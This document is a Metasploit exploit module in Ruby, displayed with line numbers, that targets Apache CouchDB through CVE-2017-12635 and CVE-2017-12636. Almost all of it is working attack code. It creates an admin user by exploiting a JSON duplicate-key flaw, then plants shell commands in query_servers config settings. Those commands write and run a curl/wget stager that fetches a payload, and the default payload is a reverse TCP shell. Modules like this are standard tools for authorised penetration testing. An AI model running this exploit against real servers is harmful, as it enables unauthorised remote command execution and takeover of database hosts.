Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Exploit::CmdStager
12
  include Msf::Exploit::FileDropper
13

14
  def initialize(info = {})
15
    super(update_info(info,
16
      'Name'           => 'Apache CouchDB Arbitrary Command Execution',
17
      'Description'    => %q{
18
        CouchDB administrative users can configure the database server via HTTP(S).
19
        Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
20
        This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
21
        including downloading and executing scripts from the public internet.
22
      },
23
      'Author' => [
24
        'Max Justicz',                       # CVE-2017-12635 Vulnerability discovery
25
        'Joan Touzet',                       # CVE-2017-12636 Vulnerability discovery
26
        'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
27
      ],
28
      'References' => [
29
        ['CVE', '2017-12636'],
30
        ['CVE', '2017-12635'],
31
        ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
32
        ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
33
        ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
34
      ],
35
      'DisclosureDate' => '2016-04-06',
36
      'License'        => MSF_LICENSE,
37
      'Platform'       => 'linux',
38
      'Arch'           => [ARCH_X86, ARCH_X64],
39
      'Privileged'     => false,
40
      'DefaultOptions' => {
41
        'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
42
        'CMDSTAGER::FLAVOR' => 'curl'
43
      },
44
      'CmdStagerFlavor' => ['curl', 'wget'],
45
      'Targets' => [
46
        ['Automatic',                  {}],
47
        ['Apache CouchDB version 1.x', {}],
48
        ['Apache CouchDB version 2.x', {}]
49
      ],
50
      'DefaultTarget' => 0
51
    ))
52

53
    register_options([
54
      Opt::RPORT(5984),
55
      OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
56
      OptString.new('HttpUsername', [false, 'The username to login as']),
57
      OptString.new('HttpPassword', [false, 'The password to login with'])
58
    ])
59

60
    register_advanced_options([
61
      OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
62
      OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
63
    ])
64
  end
65

66
  def post_auth?
67
    true
68
  end
69

70
  def check
71
    get_version
72
    return CheckCode::Unknown if @version.nil?
73
    version = Rex::Version.new(@version)
74
    return CheckCode::Unknown if version.version.empty?
75
    vprint_status "Found CouchDB version #{version}"
76

77
    return CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
78

79
    CheckCode::Safe
80
  end
81

82
  def exploit
83
    fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
84
    version = @version
85

86
    vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
87

88
    print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
89
    @cmdstager = generate_cmdstager(
90
      temp: datastore['WritableDir'],
91
      file: File.basename(cmdstager_path)
92
    ).join(';')
93

94
    register_file_for_cleanup(cmdstager_path)
95

96
    if !datastore['Attempts'] || datastore['Attempts'] <= 0
97
      attempts = 1
98
    else
99
      attempts = datastore['Attempts']
100
    end
101

102
    attempts.times do |i|
103
      print_status("#{peer} - The #{i + 1} time to exploit")
104
      send_payload(version)
105
      Rex.sleep(5)
106
      # break if we get the shell
107
      break if session_created?
108
    end
109
  end
110

111
  # CVE-2017-12635
112
  # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
113
  # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
114
  # for the newly created user.
115
  def auth_bypass
116
    username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
117
    password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
118
    @auth = basic_auth(username, password)
119

120
    res = send_request_cgi(
121
      'uri'           => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
122
      'method'        => 'PUT',
123
      'ctype'         => 'application/json',
124
      'data'          => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
125
    )
126

127
    if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
128
      return true
129
    else
130
      return false
131
    end
132
  end
133

134
  def get_version
135
    @version = nil
136

137
    begin
138
      res = send_request_cgi(
139
        'uri'           => normalize_uri(target_uri.path),
140
        'method'        => 'GET',
141
        'authorization' => @auth
142
      )
143
    rescue Rex::ConnectionError
144
      vprint_bad("#{peer} - Connection failed")
145
      return false
146
    end
147

148
    unless res
149
      vprint_bad("#{peer} - No response, check if it is CouchDB. ")
150
      return false
151
    end
152

153
    if res && res.code == 401
154
      print_bad("#{peer} - Authentication required.")
155
      return false
156
    end
157

158
    if res && res.code == 200
159
      res_json = res.get_json_document
160

161
      if res_json.empty?
162
        vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
163
        return false
164
      end
165

166
      @version = res_json['version'] if res_json['version']
167
      return true
168
    end
169

170
    vprint_warning("#{peer} - Version not found")
171
    return true
172
  end
173

174
  def send_payload(version)
175
    vprint_status("#{peer} - CouchDB version is #{version}") if version
176

177
    version = Rex::Version.new(@version)
178
    if version.version.empty?
179
      vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
180
      # if target set Automatic, exploit failed.
181
      if target == targets[0]
182
        fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
183
      elsif target == targets[1]
184
        payload1
185
      elsif target == targets[2]
186
        payload2
187
      end
188
    elsif version < Rex::Version.new('1.7.0')
189
      payload1
190
    elsif version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
191
      payload2
192
    elsif version >= Rex::Version.new('1.7.0') || Rex::Version.new('2.1.0')
193
      fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
194
    end
195
  end
196

197
  # Exploit with multi requests
198
  # payload1 is for the version of couchdb below 1.7.0
199
  def payload1
200
    rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
201
    rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
202
    rand_db = Rex::Text.rand_text_alpha_lower(4..12)
203
    rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
204
    rand_hex = Rex::Text.rand_text_hex(32)
205
    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
206

207
    register_file_for_cleanup(rand_file)
208

209
    send_request_cgi(
210
      'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
211
      'method'        => 'PUT',
212
      'authorization' => @auth,
213
      'data'          => %("echo '#{@cmdstager}' > #{rand_file}")
214
    )
215

216
    send_request_cgi(
217
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}"),
218
      'method'        => 'PUT',
219
      'authorization' => @auth
220
    )
221

222
    send_request_cgi(
223
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
224
      'method'        => 'PUT',
225
      'authorization' => @auth,
226
      'data'          => %({"_id": "#{rand_hex}"})
227
    )
228

229
    send_request_cgi(
230
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
231
      'method'        => 'POST',
232
      'authorization' => @auth,
233
      'ctype'         => 'application/json',
234
      'data'          => %({"language":"#{rand_cmd1}","map":""})
235
    )
236

237
    send_request_cgi(
238
      'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
239
      'method'        => 'PUT',
240
      'authorization' => @auth,
241
      'data'          => %("/bin/sh #{rand_file}")
242
    )
243

244
    send_request_cgi(
245
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
246
      'method'        => 'POST',
247
      'authorization' => @auth,
248
      'ctype'         => 'application/json',
249
      'data'          => %({"language":"#{rand_cmd2}","map":""})
250
    )
251
  end
252

253
  # payload2 is for the version of couchdb below 2.1.1
254
  def payload2
255
    rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
256
    rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
257
    rand_db = Rex::Text.rand_text_alpha_lower(4..12)
258
    rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
259
    rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
260
    rand_hex = Rex::Text.rand_text_hex(32)
261
    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
262

263
    register_file_for_cleanup(rand_file)
264

265
    res = send_request_cgi(
266
      'uri'           => normalize_uri(target_uri.path, "/_membership"),
267
      'method'        => 'GET',
268
      'authorization' => @auth
269
    )
270

271
    node = res.get_json_document['all_nodes'][0]
272

273
    send_request_cgi(
274
      'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
275
      'method'        => 'PUT',
276
      'authorization' => @auth,
277
      'data'          => %("echo '#{@cmdstager}' > #{rand_file}")
278
    )
279

280
    send_request_cgi(
281
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}"),
282
      'method'        => 'PUT',
283
      'authorization' => @auth
284
    )
285

286
    send_request_cgi(
287
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
288
      'method'        => 'PUT',
289
      'authorization' => @auth,
290
      'data'          => %({"_id": "#{rand_hex}"})
291
    )
292

293
    send_request_cgi(
294
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
295
      'method'        => 'PUT',
296
      'authorization' => @auth,
297
      'ctype'         => 'application/json',
298
      'data'          => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
299
    )
300

301
    send_request_cgi(
302
      'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
303
      'method'        => 'PUT',
304
      'authorization' => @auth,
305
      'data'          => %("/bin/sh #{rand_file}")
306
    )
307

308
    send_request_cgi(
309
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
310
      'method'        => 'PUT',
311
      'authorization' => @auth,
312
      'ctype'         => 'application/json',
313
      'data'          => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
314
    )
315
  end
316

317
  def cmdstager_path
318
    @cmdstager_path ||=
319
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
320
  end
321

322
end
323

324